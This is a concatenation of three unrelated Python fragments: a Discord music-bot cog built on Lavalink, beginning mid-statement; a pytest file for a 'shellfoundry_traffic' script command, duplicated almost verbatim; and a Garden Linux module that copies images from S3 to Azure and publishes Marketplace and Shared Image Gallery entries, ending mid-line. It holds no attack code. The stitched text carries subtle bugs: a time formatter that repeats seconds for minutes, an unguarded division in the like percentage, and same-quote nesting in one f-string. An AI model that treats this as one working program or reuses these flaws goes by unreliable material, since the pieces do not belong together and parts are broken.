ctx.send('⏭ **Skipped.**') await player.skip() else: await ctx.send(':red_circle: **No permission to skip.**') async def is_alone(self, ctx): server = ctx.message.guild user = ctx.message.author voice_channels = server.voice_channels for vc in voice_channels: vc_users = vc.members if len(vc.members) == 2: if user in vc.members and self.bot.user in vc.members: return True return False @commands.command(aliases=['kill']) async def stop(self, ctx): """Stop the currently playing song and clear the queue. [Example] +<COMMAND> """ user = ctx.message.author player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Not playing.**') if (await self.is_dj(ctx) or await self.is_alone(ctx)): player.queue.clear() await player.stop() await ctx.send('⏹ **Stopped.**') @commands.command(name="song", aliases=['now','np']) async def song(self, ctx): """Display information about the currently playing song. [Example] +<COMMAND> """ user = ctx.message.author player = self.bot.lavalink.players.get(ctx.guild.id) song = 'Not playing anything!' if player.current: em = await self.get_np_embed(ctx, player) await ctx.send(embed=em) return await ctx.send(':red_circle: **Not playing anything!**') async def get_np_embed(self, ctx, player): song = player.current song_info = player.current_info requester = ctx.message.guild.get_member(song.requester) em = discord.Embed(description="", colour=requester.colour) em.set_author(name = f'{song.title}', url = song.uri) embed_msg = "" if hasattr(song, 'author'): embed_msg += f'Uploader: `{song.author}`\n' if hasattr(song_info, 'view_count'): embed_msg += f'Views: `{song_info.view_count}`\n' if hasattr(song_info, 'like_count'): embed_msg += f'Likes: `{song_info.like_count}/{song_info.like_count + song_info.dislike_count}' embed_msg += '({:.2f}%)`\n'.format(100*song_info.like_count/(song_info.like_count + song_info.dislike_count)) if hasattr(player, 'position'): if song.stream: embed_msg += 'Length: `LIVE`\n' else: song_dur = lavalink.Utils.format_time(song.duration) embed_msg += 'Length: `{}`\n'.format(song_dur) if player.position and not song.stream: embed_msg += f'{self._draw_play(player.position, song.duration, paused=player.paused)}\n' em.description = embed_msg repeat_text = "" shuffle_text = "" if player.repeat: repeat_text = " | 🔂 Repeat enabled" if player.shuffle: shuffle_text = " | 🔀 Shuffle enabled" em.set_footer(text = f"Requested by {requester.display_name}{repeat_text}{shuffle_text}", icon_url = requester.avatar_url) if hasattr(song_info, 'thumbnail'): em.set_thumbnail(url = song_info.thumbnail) else: em.set_thumbnail(url = "https://i.imgur.com/onE7O71.png") return em @commands.command(aliases=['q']) async def queue(self, ctx, page: int=1): """Retrieve a list of upcoming songs. [Example] +<COMMAND> """ user = ctx.message.author server = ctx.message.guild player = self.bot.lavalink.players.get(ctx.guild.id) em = discord.Embed(description="", colour=user.colour) queue_msg = "" if player.current: song = player.current song_info = player.current_info queue_msg = "**__Currently playing:__**\n" queue_msg += f"[{song.title}]({song.uri})\n" if player.position and not song.stream: queue_msg += f'{self._draw_play(player.position, song.duration, paused=player.paused)}\n' #em.set_thumbnail(url = song.get_thumbnail()) if hasattr(song_info, 'thumbnail'): em.set_thumbnail(url = song_info.thumbnail) else: em.set_thumbnail(url = "https://i.imgur.com/onE7O71.png") if not player.queue: queue_msg += "**__Next up:__**\n" queue_msg += '**There are currently no queued songs.**' page = 1 pages = 1 total = 0 else: items_per_page = 10 total = len(player.queue) pages = math.ceil(total / items_per_page) if page <= pages: queue_msg += "**__Next up:__**\n" start = (page - 1) * items_per_page end = start + items_per_page for num, song in enumerate(player.queue[start:end], start=start): # print(song) duration = lavalink.Utils.format_time(int(song.duration)) requester = server.get_member(song.requester) queue_msg += "**[{}]** [{}]({}) (`{}`) | `{}` \n".format( num+1, song.title, song.uri, duration, requester.name) else: page = 'X' repeat_text = "" shuffle_text = "" if player.repeat: repeat_text = " | 🔂 Repeat enabled" if player.shuffle: shuffle_text = " | 🔀 Shuffle enabled" em.description = queue_msg em.set_footer(text = f"{total} songs in queue. | Page {page}/{pages}{repeat_text}{shuffle_text}") await ctx.send(content="**Queued Songs: **", embed = em) @commands.command(aliases=['resume']) async def pause(self, ctx): """Pause or resume the currently playing song. [Example] +<COMMAND> """ player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Not playing.**') if player.paused: await player.set_pause(False) await ctx.send('⏯ **Resumed**') else: await player.set_pause(True) await ctx.send('⏯ **Paused**') @commands.command(aliases=['vol']) async def volume(self, ctx, volume: int=None): """Change the player volume. [Options] vol: Volume to change the player to. (int: 1-100) [Example] +<COMMAND> 75 """ player = self.bot.lavalink.players.get(ctx.guild.id) if not volume: return await ctx.send(f'🔈 **{player.volume}%**') await player.set_volume(volume) await ctx.send(f'🔈 **Set to {player.volume}%**') @commands.command() async def shuffle(self, ctx): """Shuffle the current queue. [Example] +<COMMAND> """ player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Nothing playing.**') player.shuffle = not player.shuffle await ctx.send('🔀 Shuffle ' + ('enabled' if player.shuffle else 'disabled')) @commands.command() async def repeat(self, ctx): player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_playing: return await ctx.send(':red_circle: **Nothing playing.**') player.repeat = not player.repeat await ctx.send('🔁 Repeat ' + ('enabled' if player.repeat else 'disabled')) @commands.command() async def remove(self, ctx, index: int): player = self.bot.lavalink.players.get(ctx.guild.id) if not player.queue: return await ctx.send(':red_circle: **Nothing queued.**') if index > len(player.queue) or index < 1: return await ctx.send('Index has to be >=1 and <=queue size') index -= 1 removed = player.queue.pop(index) await ctx.send('Removed **' + removed.title + '** from the queue.') @commands.command(name="search") async def find(self, ctx, *, query): """Get a list of search results. [Example] +<COMMAND> Kanpyohgo - Unmei no Dark Side """ if not query.startswith('ytsearch:') and not query.startswith('scsearch:'): query = 'ytsearch:' + query results = await self.bot.lavalink.get_tracks(query) if not results or not results['tracks']: return await ctx.send(':red_circle: **Nothing found**') tracks = results['tracks'][:10] # First 10 results o = '' for i, t in enumerate(tracks, start=1): o += f'**[{i}]** [{t["info"]["title"]}]({t["info"]["uri"]})\n' embed = discord.Embed(colour=ctx.guild.me.top_role.colour, description=o) await ctx.send(embed=embed) @commands.command(aliases=["dc"]) async def disconnect(self, ctx): player = self.bot.lavalink.players.get(ctx.guild.id) if not player.is_connected: return await ctx.send(':red_circle: **Not connected.**') if not ctx.author.voice or (player.is_connected and ctx.author.voice.channel.id != int(player.channel_id)): return await ctx.send('You\'re not in my voicechannel!') player.queue.clear() await player.disconnect() await ctx.send('*⃣ **Disconnected.**') def _draw_play(self, song_current_time, total_time, paused = False): # print(song_current_time, total_time) if song_current_time: sections = 20 try: loc_time = round((song_current_time/total_time) * sections) # sections except: loc_time = 0 # bar_char = '\N{BOX DRAWINGS HEAVY HORIZONTAL}' bar_char = '■' seek_char = '\N{RADIO BUTTON}' play_char = '\N{BLACK RIGHT-POINTING TRIANGLE}' try: if not paused: play_char = '\N{BLACK RIGHT-POINTING TRIANGLE}' else: play_char = '\N{DOUBLE VERTICAL BAR}' except AttributeError: play_char = '\N{BLACK RIGHT-POINTING TRIANGLE}' msg = "\n" + play_char + " " for i in range(sections): if i == loc_time: msg += seek_char else: msg += bar_char elapsed_fmt = lavalink.Utils.format_time(song_current_time) total_fmt = lavalink.Utils.format_time(total_time) msg += " `{}`/`{}`".format(elapsed_fmt, total_fmt) return msg + "\n" return "" def _get_hms(self, seconds:int): m, s = divmod(seconds, 60) h, m = divmod(m, 60) return (h,m,s) def _format_hms(self, h, m, s): msg = "" if h == 0: msg = '{}:{}'.format(str(s).zfill(2), str(s).zfill(2)) else: msg = '{}:{}:{}'.format(str(h).zfill(2), str(m).zfill(2),str(s).zfill(2)) return msg async def is_dj(self, ctx): user = ctx.message.author server = ctx.message.guild server_settings = await self.audio_settings.find_one( {"server_id":str(server.id)}) if not server_settings: return True elif ("dj_member" in server_settings.keys() and str(user.id) in server_settings["dj_member"]): return True elif ("dj_role" in server_settings.keys() and any([str(role.id) in server_settings["dj_role"] for role in user.roles])): return True return False async def get_server_settings(self, ctx): server = ctx.message.guild server_settings = await self.audio_settings.find_one( {"server_id":str(server.id)}) return server_settings async def get_settings(self, ctx, property_name): server = ctx.message.guild server_settings = await self.audio_settings.find_one( {"server_id":str(server.id)}) try: return server_settings[property_name] except: return None async def has_property(self, dict_obj, prop_name): if prop_name in dict_obj.keys(): return True return False def setup(bot): bot.add_cog(Audio(bot))
""" Test cloudshell_traffic script CLI command. """ import os import shutil from pathlib import Path from typing import List from zipfile import ZipFile import pytest import yaml from _pytest.fixtures import SubRequest from shellfoundry_traffic.shellfoundry_traffic_cmd import main from shellfoundry_traffic.script_utils import ScriptCommandExecutor, SRC_DIR @pytest.fixture def dist() -> Path: """ Yields empty dist folder. """ dist = Path(__file__).parent.joinpath('dist') shutil.rmtree(dist, ignore_errors=True) os.mkdir(dist) yield dist @pytest.fixture(params=['script-definition', 'script-definition.yaml']) def script_definition_yaml(request: SubRequest) -> str: """ Yields shell definition yaml attribute for testing. """ return request.param @pytest.mark.parametrize('args', [['script', '-h']]) def test_sub_commands(args: List[str]) -> None: """ Test general behaviour of shellfoundry_traffic sub commands. """ with pytest.raises(SystemExit) as cm: main(args) assert cm.value.code == 0 def test_script(dist: Path, script_definition_yaml: str) -> None: """ Test script sub command. """ main(['--yaml', script_definition_yaml, 'script']) excluded_files = _get_script_definition(script_definition_yaml)["files"]["exclude"] assert excluded_files[0] not in _get_script_zip(dist, script_definition_yaml).filelist def test_get_main(script_definition_yaml: str) -> None: open(SRC_DIR.joinpath('__main__.py'), 'w').close() script_command = ScriptCommandExecutor(script_definition=script_definition_yaml) script_command.get_main() script_definition = _get_script_definition(script_definition_yaml) new_main_file_name = script_definition['files']['main'] with open(SRC_DIR.joinpath(new_main_file_name), 'r') as new_main_file: new_main_content = new_main_file.read() with open(SRC_DIR.joinpath('__main__.py'), 'r') as main_file: existing_main_content = main_file.read() assert new_main_content == existing_main_content def _get_script_definition(script_definition: str) -> dict: script_definition_yaml = (script_definition if script_definition.endswith('.yaml') else f'{script_definition}.yaml') script_definition_yaml_full_path = Path(os.getcwd()).joinpath(script_definition_yaml) with open(script_definition_yaml_full_path, 'r') as file: return yaml.safe_load(file) def _get_script_zip(dist: Path, shell_definition_yaml: str) -> ZipFile: script_zip = dist.joinpath(f'{_get_script_definition(shell_definition_yaml)['metadata']['script_name']}.zip') return ZipFile(script_zip, 'r')
""" Test cloudshell_traffic script CLI command. """ import os import shutil from pathlib import Path from typing import List from zipfile import ZipFile import pytest import yaml from _pytest.fixtures import SubRequest from shellfoundry_traffic.shellfoundry_traffic_cmd import main from shellfoundry_traffic.script_utils import ScriptCommandExecutor, SRC_DIR @pytest.fixture def dist() -> Path: """ Yields empty dist folder. """ dist = Path(__file__).parent.joinpath('dist') shutil.rmtree(dist, ignore_errors=True) os.mkdir(dist) yield dist @pytest.fixture(params=['script-definition', 'script-definition.yaml']) def script_definition_yaml(request: SubRequest) -> str: """ Yields shell definition yaml attribute for testing. """ return request.param @pytest.mark.parametrize('args', [['script', '-h']]) def test_sub_commands(args: List[str]) -> None: """ Test general behaviour of shellfoundry_traffic sub commands. """ with pytest.raises(SystemExit) as cm: main(args) assert cm.value.code == 0 def test_script(dist: Path, script_definition_yaml: str) -> None: """ Test script sub command. """ main(['--yaml', script_definition_yaml, 'script']) excluded_files = _get_script_definition(script_definition_yaml)["files"]["exclude"] assert excluded_files[0] not in _get_script_zip(dist, script_definition_yaml).filelist def test_get_main(script_definition_yaml: str) -> None: open(SRC_DIR.joinpath('__main__.py'), 'w').close() script_command = ScriptCommandExecutor(script_definition=script_definition_yaml) script_command.get_main() script_definition = _get_script_definition(script_definition_yaml) new_main_file_name = script_definition['files']['main'] with open(SRC_DIR.joinpath(new_main_file_name), 'r') as new_main_file: new_main_content = new_main_file.read() with open(SRC_DIR.joinpath('__main__.py'), 'r') as main_file: existing_main_content = main_file.read() assert new_main_content == existing_main_content def _get_script_definition(script_definition: str) -> dict: script_definition_yaml = (script_definition if script_definition.endswith('.yaml') else f'{script_definition}.yaml') script_definition_yaml_full_path = Path(os.getcwd()).joinpath(script_definition_yaml) with open(script_definition_yaml_full_path, 'r') as file: return yaml.safe_load(file) def _get_script_zip(dist: Path, shell_definition_yaml: str) -> ZipFile: script_zip = dist.joinpath(f'{_get_script_definition(shell_definition_yaml)["metadata"]["script_name"]}.zip') return ZipFile(script_zip, 'r')
import dataclasses from datetime import ( datetime, timedelta, ) from enum import Enum import logging import typing import requests from glci import util import version from msal import ConfidentialClientApplication from azure.storage.blob import ( BlobClient, BlobType, ContainerSasPermissions, generate_container_sas, ) import glci.model import version as version_util # For Shared Image Gallery: from azure.identity import ClientSecretCredential from azure.mgmt.compute import ComputeManagementClient from azure.mgmt.storage import StorageManagementClient from azure.mgmt.compute.models import ( TargetRegion, OperatingSystemTypes, OperatingSystemStateTypes, HyperVGeneration, GalleryImage, GalleryImageIdentifier, GalleryImageVersion, GalleryImageVersionPublishingProfile, GalleryImageVersionStorageProfile, GalleryArtifactVersionSource, StorageAccountType ) from azure.core.exceptions import ( ResourceExistsError, ResourceNotFoundError, ) logger = logging.getLogger(__name__) # disable verbose http-logging from azure-sdk logging.getLogger('azure.core.pipeline.policies.http_logging_policy').setLevel(logging.WARNING) ''' The publishing process for an image to the Azure Marketplace consist of two sequences of steps. 1. publishing steps - this include the upload of the image to an Azure StorageAccount, the update of the gardenlinux Marketplace spec, the trigger of the publish operation which will trigger the validation of the image on the Microsoft side and upload the image into their staging enviroment. Those steps are covered by the "upload_and_publish_image" function. 2. check and approve steps – first the progress of the triggered publish operation will be checked. If the publish operation has been completed the go live operation will be triggered automatically. After that it will check for the progress of the go live operation and if this also has been completed it will return the urn of the image. Those steps are covered by the "check_offer_transport_state" function. It need to be called multiple times until the entire process has been completed. ''' class AzureImageStore: '''Azure Image Store backed by an container in an Azure Storage Account.''' def __init__( self, storage_account_name: str, storage_account_key: str, container_name: str ): self.sa_name = storage_account_name self.sa_key = storage_account_key self.container_name = container_name def copy_from_s3( self, s3_client, s3_bucket_name: str, s3_object_key: str, target_blob_name: str ): '''Copy an object from Amazon S3 to an Azure Storage Account This will overwrite the contents of the target file if it already exists. ''' connection_string = ( f"DefaultEndpointsProtocol=https;" f"AccountName={self.sa_name};" f"AccountKey={self.sa_key};" "EndpointSuffix=core.windows.net" ) image_blob = BlobClient.from_connection_string( conn_str=connection_string, container_name=self.container_name, blob_name=target_blob_name, blob_type=BlobType.PageBlob, ) file_size_response = s3_client.head_object(Bucket=s3_bucket_name, Key=s3_object_key) file_size = file_size_response['ContentLength'] url = s3_client.generate_presigned_url( 'get_object', Params={'Bucket': s3_bucket_name, 'Key': s3_object_key}, ) image_blob.create_page_blob(file_size) # max size we can copy in one go is 4 mebibytes. Split the upload in steps with max size of # 4 MiB copy_step_length = 4 * 1024 * 1024 offset = 0 while offset < file_size: remaining = file_size - offset actual_cp_bytes = min(copy_step_length, remaining) image_blob.upload_pages_from_url( source_url=url, offset=offset, length=actual_cp_bytes, source_offset=offset, ) offset += actual_cp_bytes def get_image_url(self, image_name: str, with_sas_token: bool): '''Generate an url optionally including sas token to access image in the store.''' result_url = f'https://{self.sa_name}.blob.core.windows.net/{self.container_name}/{image_name}' if with_sas_token: container_sas = generate_container_sas( account_name=self.sa_name, account_key=self.sa_key, container_name=self.container_name, permission=ContainerSasPermissions(read=True, list=True), start=datetime.utcnow() - timedelta(days=1), expiry=datetime.utcnow() + timedelta(days=30) ) return f'{result_url}?{container_sas}' else: return result_url class AzmpOperationState(Enum): NOTSTARETD = "notStarted" RUNNING = "running" COMPLETED = "completed" SUCCEEDED = "succeeded" FAILED = "failed" class AzmpTransportDest(Enum): STAGING = "staging" PROD = "production" class AzureMarketplaceClient: '''Azure Marketplace Client is a client to interact with the Azure Marketplace.''' marketplace_baseurl = "https://cloudpartner.azure.com/api/publishers" def __init__(self, spn_tenant_id: str, spn_client_id: str, spn_client_secret: str): app_client = ConfidentialClientApplication( client_id=spn_client_id, authority=f"https://login.microsoftonline.com/{spn_tenant_id}", client_credential=spn_client_secret ) token = app_client.acquire_token_for_client(scopes="https://cloudpartner.azure.com/.default") if 'error' in token: raise RuntimeError("Could not fetch token for Azure Marketplace client", token['error_description']) self.token = token['access_token'] def _request(self, url: str, method='GET', headers={}, params={}, **kwargs): if 'Authorization' not in headers: headers['Authorization'] = f"Bearer {self.token}" if 'Content-Type' not in headers: headers['Content-Type'] = "application/json" if 'api-version' not in params: params['api-version'] = '2017-10-31' return requests.request( method=method, url=url, headers=headers, params=params, **kwargs ) def _api_url(self, *parts): return '/'.join(p for p in (self.marketplace_baseurl, *parts)) def _raise_for_status(self, response, message=""): if response.ok: return if message: raise RuntimeError(f"{message}. statuscode={response.status_code}") raise RuntimeError(f"HTTP call to {response.url} failed. statuscode={response.status_code}") def fetch_offer(self, publisher_id: str, offer_id: str): '''Fetch an offer from Azure marketplace.''' response = self._request(url=self._api_url(publisher_id, "offers", offer_id)) self._raise_for_status( response=response, message='Fetching of Azure marketplace offer for gardenlinux failed', ) offer_spec = response.json() return offer_spec def update_offer(self, publisher_id: str, offer_id: str, spec: dict): '''Update an offer with a give spec.''' response = self._request( url=self._api_url(publisher_id, "offers", offer_id), method='PUT', headers={"If-Match": "*"}, json=spec, ) self._raise_for_status( response=response, message='Update of Azure marketplace offer for gardenlinux failed', ) def publish_offer(self, publisher_id: str, offer_id: str, notification_mails=()): '''Trigger (re-)publishing of an offer.''' data = { "metadata": { "notification-emails": ",".join(notification_mails) } } res = self._request( method='POST', url=self._api_url(publisher_id, 'offers', offer_id, 'publish'), json=data, ) self._raise_for_status( response=res, message=f'{res=} {res.status_code=} {res.reason=} {res.content=}' ) def fetch_ongoing_operation_id(self, publisher_id: str, offer_id: str, transport_dest: AzmpTransportDest): '''Fetches the id of an ongoing Azure Marketplace transport operation to a certain transport destination.''' response = self._request(url=self._api_url(publisher_id, "offers", offer_id, "submissions")) self._raise_for_status( response=response, message="Could not fetch Azure Marketplace transport operations for gardenlinux offer", ) operations = response.json() for operation in operations: if AzmpTransportDest(operation["slot"]) == transport_dest and AzmpOperationState(operation["submissionState"]) == AzmpOperationState.RUNNING: return operation["id"] raise RuntimeError( 'Did not find an ongoing transport operation to ship gardenliunx offer on the Azure Marketplace.' ) def fetch_operation_state(self, publisher_id: str, offer_id: str, operation_id: str): '''Fetches the state of a given Azure Marketplace transport operation.''' response = self._request(url=self._api_url(publisher_id, "offers", offer_id, "operations", operation_id)) self._raise_for_status( response=response, message=f"Can't fetch state for transport operation {operation_id}", ) operation = response.json() return AzmpOperationState(operation['status']) def go_live(self, publisher_id: str, offer_id: str): '''Trigger a go live operation to transport an Azure Marketplace offer to production.''' response = self._request( method='POST', url=self._api_url(publisher_id, "offers", offer_id, "golive"), ) self._raise_for_status( response=response, message="Go live of updated gardenlinux Azure Marketplace offer failed", ) def _find_plan_spec(offer_spec :dict, plan_id: str): plan_spec = {} for plan in offer_spec["definition"]["plans"]: if plan["planId"] == plan_id: plan_spec = plan break else: raise RuntimeError(f"Plan {plan_id} not found in offer {plan_spec["id"]}.") return plan_spec def add_image_version_to_plan( spec: dict, plan_id: str, image_version: str, image_url: str ): ''' Add a new image version to a given plan and return a modified offer spec. The offer spec needs to be fetched upfront from the Azure Marketplace. The modified offer spec needs to be pushed to the Azure Marketplace. ''' plan_spec = _find_plan_spec(spec, plan_id) plan_spec["microsoft-azure-virtualmachines.vmImages"][image_version] = { "osVhdUrl": image_url, "lunVhdDetails": [] } return spec def remove_image_version_from_plan(spec: dict, plan_id: str, image_version: str, image_url: str): ''' Remove an image version from a given plan and return a modified offer spec. The offer spec needs to be fetched upfront from the Azure Marketplace. The modified offer spec needs to be pushed to the Azure Marketplace. ''' plan_spec = _find_plan_spec(spec, plan_id) del plan_spec["microsoft-azure-virtualmachines.vmImages"][image_version] return spec def generate_urn(marketplace_cfg: glci.model.AzureMarketplaceCfg, image_version: str): return f"{marketplace_cfg.publisher_id}:{marketplace_cfg.offer_id}:{marketplace_cfg.plan_id}:{image_version}" def copy_image_from_s3_to_az_storage_account( storage_account_cfg: glci.model.AzureStorageAccountCfg, s3_bucket_name: str, s3_object_key: str, target_blob_name: str, s3_client, with_sas_token: bool, ): ''' copy object from s3 to storage account and return the generated access url including SAS token for the blob ''' if not target_blob_name.endswith('.vhd'): logger.warning( f"Destination image name '{target_blob_name}' does not end with '.vhd'! Resulting blob will " "not be suitable to create a marketplace offer from it!" ) store = AzureImageStore( storage_account_name=storage_account_cfg.storage_account_name, storage_account_key=storage_account_cfg.access_key, container_name=storage_account_cfg.container_name, ) store.copy_from_s3( s3_client=s3_client, s3_bucket_name=s3_bucket_name, s3_object_key=s3_object_key, target_blob_name=target_blob_name, ) return store.get_image_url(target_blob_name, with_sas_token=with_sas_token) def update_and_publish_marketplace_offer( service_principal_cfg: glci.model.AzureServicePrincipalCfg, marketplace_cfg: glci.model.AzureMarketplaceCfg, image_version: str, image_url: str, notification_recipients=(), ): marketplace_client = AzureMarketplaceClient( spn_tenant_id=service_principal_cfg.tenant_id, spn_client_id=service_principal_cfg.client_id, spn_client_secret=service_principal_cfg.client_secret, ) publisher_id = marketplace_cfg.publisher_id offer_id = marketplace_cfg.offer_id plan_id = marketplace_cfg.plan_id offer_spec = marketplace_client.fetch_offer( publisher_id=publisher_id, offer_id=offer_id, ) # Add new image version to plan in the offer spec. modified_offer_spec = add_image_version_to_plan( spec=offer_spec, plan_id=plan_id, image_version=image_version, image_url=image_url, ) # Update the marketplace offer. marketplace_client.update_offer( publisher_id=publisher_id, offer_id=offer_id, spec=modified_offer_spec, ) marketplace_client.publish_offer( publisher_id=publisher_id, offer_id=offer_id, notification_mails=notification_recipients, ) publish_operation_id = marketplace_client.fetch_ongoing_operation_id( publisher_id=publisher_id, offer_id=offer_id, transport_dest=AzmpTransportDest.STAGING, ) return publish_operation_id def check_offer_transport_state( service_principal_cfg: glci.model.AzureServicePrincipalCfg, marketplace_cfg: glci.model.AzureMarketplaceCfg, release: glci.model.OnlineReleaseManifest, ) -> glci.model.OnlineReleaseManifest: '''Checks the state of the gardenlinux Azure Marketplace offer transport In case the transport to staging enviroment has been succeeded then the transport to production (go live) will be automatically triggered. ''' transport_state = release.published_image_metadata.transport_state if transport_state is glci.model.AzureTransportState.RELEASED: return release marketplace_client = AzureMarketplaceClient( spn_tenant_id=service_principal_cfg.tenant_id, spn_client_id=service_principal_cfg.client_id, spn_client_secret=service_principal_cfg.client_secret, ) publisher_id = marketplace_cfg.publisher_id offer_id = marketplace_cfg.offer_id operation_status = marketplace_client.fetch_operation_state( publisher_id=publisher_id, offer_id=offer_id, operation_id=release.published_image_metadata.publish_operation_id, ) # Check first if the process has been failed. if operation_status is AzmpOperationState.FAILED: published_image = glci.model.AzurePublishedImage( transport_state=glci.model.AzureTransportState.FAILED, publish_operation_id=release.published_image_metadata.publish_operation_id, golive_operation_id='', urn='', ) if release.published_image_metadata.transport_state is glci.model.AzureTransportState.GO_LIVE: published_image.golive_operation_id = release.published_image_metadata.golive_operation_id return dataclasses.replace(release, published_image_metadata=published_image) # Publish completed. Trigger go live to transport the offer changes to production. if ( transport_state is glci.model.AzureTransportState.PUBLISH and operation_status is AzmpOperationState.SUCCEEDED ): logger.info('Publishing of gardenlinux offer to staging succeeded. Trigger go live...') marketplace_client.go_live(publisher_id=publisher_id, offer_id=offer_id) golive_operation_id = marketplace_client.fetch_ongoing_operation_id( publisher_id, offer_id, AzmpTransportDest.PROD, ) published_image = glci.model.AzurePublishedImage( transport_state=glci.model.AzureTransportState.GO_LIVE, publish_operation_id=release.published_image_metadata.publish_operation_id, golive_operation_id=golive_operation_id, urn='', ) return dataclasses.replace(release, published_image_metadata=published_image) # Go Live completed. Done! if ( transport_state is glci.model.AzureTransportState.GO_LIVE and operation_status is AzmpOperationState.SUCCEEDED ): logger.info('Tranport to production of gardenlinux offer succeeded.') published_image = glci.model.AzurePublishedImage( transport_state=glci.model.AzureTransportState.RELEASED, publish_operation_id=release.published_image_metadata.publish_operation_id, golive_operation_id=release.published_image_metadata.golive_operation_id, urn=generate_urn(marketplace_cfg, release.version), ) return dataclasses.replace(release, published_image_metadata=published_image) logger.info(f"Gardenlinux Azure Marketplace release op {transport_state} is still ongoing...") return release def _get_target_blob_name(version: str): return f"gardenlinux-az-{version}.vhd" def upload_and_publish_image( s3_client, service_principal_cfg: glci.model.AzureServicePrincipalCfg, storage_account_cfg: glci.model.AzureStorageAccountCfg, marketplace_cfg: glci.model.AzureMarketplaceCfg, release: glci.model.OnlineReleaseManifest, notification_emails: typing.Tuple[str, ...], ) -> glci.model.OnlineReleaseManifest: '''Copies an image from S3 to an Azure Storage Account, updates the corresponding Azure Marketplace offering and publish the offering. ''' azure_release_artifact = util.virtual_image_artifact_for_platform('azure') azure_release_artifact_path = release.path_by_suffix(azure_release_artifact) # Copy image from s3 to Azure Storage Account target_blob_name = _get_target_blob_name(release.version) image_url = copy_image_from_s3_to_az_storage_account( storage_account_cfg=storage_account_cfg, s3_client=s3_client, s3_bucket_name=azure_release_artifact_path.s3_bucket_name, s3_object_key=azure_release_artifact_path.s3_key, target_blob_name=target_blob_name, with_sas_token=True, ) # version _must_ (of course..) be strict semver for azure azure_version = str(version.parse_to_semver(release.version)) # Update Marketplace offer and start publishing. publish_operation_id = update_and_publish_marketplace_offer( service_principal_cfg=service_principal_cfg, marketplace_cfg=marketplace_cfg, image_version=azure_version, image_url=image_url, notification_recipients=notification_emails, ) # use anticipated URN for now parsed_version = version_util.parse_to_semver(release.version) published_image = glci.model.AzurePublishedImage( transport_state=glci.model.AzureTransportState.PUBLISH, publish_operation_id=publish_operation_id, golive_operation_id='', urn=generate_urn(marketplace_cfg, parsed_version), ) return dataclasses.replace(release, published_image_metadata=published_image) def _create_shared_image( cclient, shared_gallery_cfg: glci.model.AzureSharedGalleryCfg, resource_group_name: str, location: str, gallery_name: str, image_name: str, image_version: str, source_id: str ): print('Create Gallery image.') result = cclient.gallery_images.begin_create_or_update( resource_group_name=resource_group_name, gallery_name=gallery_name, gallery_image_name=image_name, gallery_image=GalleryImage( location=location, description=shared_gallery_cfg.description, eula=shared_gallery_cfg.eula, release_note_uri=shared_gallery_cfg.release_note_uri, os_type=OperatingSystemTypes.LINUX, os_state=OperatingSystemStateTypes.GENERALIZED, hyper_v_generation=HyperVGeneration.V1, identifier=GalleryImageIdentifier( publisher=shared_gallery_cfg.identifier_publisher, offer=shared_gallery_cfg.identifier_offer, sku=shared_gallery_cfg.identifier_sku, ) ) ) print('...waiting for asynchronous operation to complete') result = result.result() print(f'Create Gallery image version {image_version=}') result = cclient.gallery_image_versions.begin_create_or_update( resource_group_name=resource_group_name, gallery_name=gallery_name, gallery_image_name=image_name, gallery_image_version_name=image_version, gallery_image_version=GalleryImageVersion( location=location, tags={'component':'gardenlinux'}, publishing_profile=GalleryImageVersionPublishingProfile( target_regions=[ TargetRegion( name=shared_gallery_cfg.location, storage_account_type=StorageAccountType.STANDARD_LRS, regional_replica_count=1 ), ], replica_count=1, exclude_from_latest=False, # end_of_life_date=datetime.now() + timedelta(days=180), storage_account_type=StorageAccountType.STANDARD_LRS, ), storage_profile=GalleryImageVersionStorageProfile( source=GalleryArtifactVersionSource( id=source_id ) ) ) ) print('...waiting for asynchronous operation to complete') return result.result() def publish_azure_shared_image_gallery( s3_client, release: glci.model.OnlineReleaseManifest, service_principal_cfg: glci.model.AzureServicePrincipalCfg, storage_account_cfg: glci.model.AzureStorageAccountCfg, shared_gallery_cfg: glci.model.AzureSharedGalleryCfg, ) -> glci.model.OnlineReleaseManifest: credential = ClientSecretCredential( tenant_id=service_principal_cfg.tenant_id, client_id=service_principal_cfg.client_id, client_secret=service_principal_cfg.client_secret ) # Copy image from s3 to Azure Storage Account azure_release_artifact = glci.util.virtual_image_artifact_for_platform('azure') azure_release_artifact_path = release.path_by_suffix(azure_release_artifact) print(f'{service_principal_cfg.subscription_id=}') cclient = ComputeManagementClient(credential, service_principal_cfg.subscription_id) sclient = StorageManagementClient(credential, service_principal_cfg.subscription_id) print(f'using container name: {storage_account_cfg.container_name_sig=}') # prepare a blob container suitable for Shared Image Gallery try: sclient.blob_containers.create( resource_group_name=shared_gallery_cfg.resource_group_name, account_name=storage_account_cfg.storage_account_name, container_name=storage_account_cfg.container_name_sig, blob_container={ 'public_access': 'None' } ) except ResourceExistsError: print(f'Info: blob container {storage_account_cfg.container_name} already exists.') target_blob_name = _get_target_blob_name(release.version) print(f'Copying from S3 to Azure Storage Account blob: {target_blob_name=}') image_url = copy_image_from_s3_to_az_storage_account( storage_account_cfg=storage_account_cfg, s3_client=s3_client, s3_bucket_name=azure_release_artifact_path.s3_bucket_name, s3_object_key=azure_release_artifact_path.s3_key, target_blob_name=target_blob_name, with_sas_token=False, ) print(f'publish_azure_shared_image_gallery() copied from S3 to Azure Storage: {image_url=}') published_version = str(version.parse_to_semver(release.version)) published_name = target_blob_name print(f'Create image {published_name=}') # Note: cclient.images.begin_create_or_update() can update an existing resource. However not all # properties can be updated. Especially updating image_url fails with an error. # Therefore it is safer to first delete the image if it exists than create it try: img_def = cclient.images.get( resource_group_name=shared_gallery_cfg.resource_group_name, image_name=published_name, ) print(f'Found existing image {img_def.id=}, {img_def.name=}. Delete it first') result = cclient.images.begin_delete( resource_group_name=shared_gallery_cfg.resource_group_name, image_name=published_name, ) result = result.result() print(f'Image deleted {result=}, will re-create now.') except ResourceNotFoundError: print('Image does not exist will create it') result = cclient.images.begin_create_or_update( resource_group_name=shared_gallery_cfg.resource_group_name, image_name=published_name, parameters={ 'location': shared_gallery_cfg.location, 'hyper_v_generation': 'V1', 'storage_profile': { 'os_disk': { 'os_type': 'Linux', 'os_state': 'Generalized', 'blob_uri': image_url, 'caching': 'ReadWrite', } }, } ) print('... waiting for operation to complete') result = result.result() print(f'Image created: {result.id=}, {result.name=}, {result.type=}') shared_img = 